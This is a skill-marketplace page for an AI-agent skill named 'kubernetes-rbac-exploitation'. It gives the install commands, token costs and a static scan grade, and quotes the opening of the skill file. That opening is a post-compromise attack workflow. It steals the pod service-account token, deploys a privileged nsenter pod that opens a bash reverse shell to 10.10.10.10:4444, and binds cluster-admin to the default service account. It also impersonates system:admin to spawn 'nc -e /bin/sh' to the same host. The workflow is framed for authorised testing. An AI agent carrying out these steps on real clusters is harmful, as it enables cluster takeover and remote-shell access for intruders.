Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/ShulkwiSEC/bb-hugenpx agentmods add skills/shulkwisec/bb-huge/kubernetes-rbac-exploitationWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/shulkwisec/bb-huge/kubernetes-rbac-exploitation)<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/kubernetes-rbac-exploitation"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/kubernetes-rbac-exploitation/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/kubernetes-rbac-exploitation"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/kubernetes-rbac-exploitation.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00054 | $0.01262 |
| Opus 5 | $0.00027 | $0.00631 |
| Sonnet 5 | $0.00011 | $0.00252 |
| Haiku 4.5 | $0.00005 | $0.00126 |
Grade A, and why
kubernetes-rbac-exploitation scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
tools: [kubectl, curl, custom-scripts] Copies of this mod
1 near-identical copy found in the catalogue:
- kubernetes-rbac-exploitation — 100% identical, 0 lines differ
How it starts
The opening of the file, as written. The whole thing — 153 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Kubernetes RBAC Exploitation
When to Use
- After gaining initial access to a Kubernetes pod (e.g., via a web vulnerability) and obtaining the pod's service account token.
- When performing a white-box security review of a Kubernetes cluster's RBAC definitions to identify potentially dangerous privilege escalation vectors.
Prerequisites
- Authorized scope and rules of engagement for the target environment
- Appropriate tools installed on the attack/analysis platform
- Understanding of the target technology stack and architecture
- Documentation template ready for findings and evidence capture
Workflow
Phase 1: Environment Enumeration
# export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
export APISERVER=https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
# kubectl auth can-i --list
Phase 2: Exploiting create pods (with Volume Mounts)
# cat <<EOF > malicious-pod.yaml
apiVersion: v1
kind: Pod
metadata:
name: root-shell
spec:
containers:
- name: shell
image: ubuntu
command: [ "nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "bash", "-c", "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1" ]
securityContext:
privileged: true
hostPID: true
hostNetwork: true
EOF
kubectl apply -f malicious-pod.yaml
Phase 3: Exploiting bind and escalate (ClusterRoles)
# # cat <<EOF > malicious-rolebinding.yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: malicious-binding
subjects:
- kind: ServiceAccount
name: default
namespace: default
roleRef:
kind: ClusterRole
name: cluster-admin
apiGroup: rbac.authorization.k8s.io
EOF
kubectl create -f malicious-rolebinding.yaml
Phase 4: Exploiting impersonate
# kubectl auth can-i create pod --as system:admin
kubectl run rootshell --image=alpine --as system:admin -- sh -c "nc -e /bin/sh 10.10.10.10 4444"
Decision Point 🔀
flowchart TD
A[Check Permissions ] --> B{Can Create Pods ]}
B -->|Yes| C[Deploy Privileged Pod ]
B -->|No| D[Check Role Bindings ]
D -->|Can Bind/Escalate | E[Grant cluster-admin ]
D -->|Can Impersonate | F[Impersonate system:admin ]
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 6d ago First seen · 153 lines · 54 tokens per session scan A 2a3a2c8e4baa
kubernetes-rbac-exploitation is a skill published in the GitHub repository ShulkwiSEC/bb-huge (22 stars, last pushed 2mo ago), licensed MIT. It adds 54 tokens to every session and 1,262 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
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